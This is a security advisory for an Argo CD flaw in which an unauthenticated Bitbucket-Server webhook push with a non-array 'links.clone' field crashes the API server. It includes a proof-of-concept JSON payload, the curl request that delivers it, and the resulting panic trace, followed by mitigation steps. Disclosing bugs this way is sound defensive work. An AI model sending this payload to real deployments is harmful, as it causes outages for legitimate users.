PT-2025-40042 · Go · Github.Com/Argoproj/Argo-Cd +2

Published

2025-09-30

·

Updated

2025-09-30

CVSS v3.1
7.5
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no 
webhook.bitbucketserver.secret
set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field 
repository.links.clone
is anything other than an array.
A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for , l := range payload.Repository.Links["clone"].([]any) {  // <- unsafe cast
  link := l.(map[string]any)
  ...
}
If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}
The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.
{
 "eventKey": "repo:refs changed",
 "repository": {
  "name": "guestbook",
  "fullName": "APP/guestbook",
  "links": { "clone": "boom" }
 },
 "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}
curl -k -X POST https://argocd.example.com/api/webhook 
   -H 'X-Event-Key: repo:refs changed' 
   -H 'Content-Type: application/json' 
   --data-binary @payload-panic.json
Observed crash (argocd-server restart):
panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
  webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.
apiVersion: v1
kind: Secret
metadata:
 name: argocd-secret
type: Opaque
data:
+ webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Fix

Weakness Enumeration

CWE-703

Related Identifiers

GHSA-F9GQ-PRRC-HRHC

Affected Products

Github.Com/Argoproj/Argo-Cd
Github.Com/Argoproj/Argo-Cd/V2
Github.Com/Argoproj/Argo-Cd/V3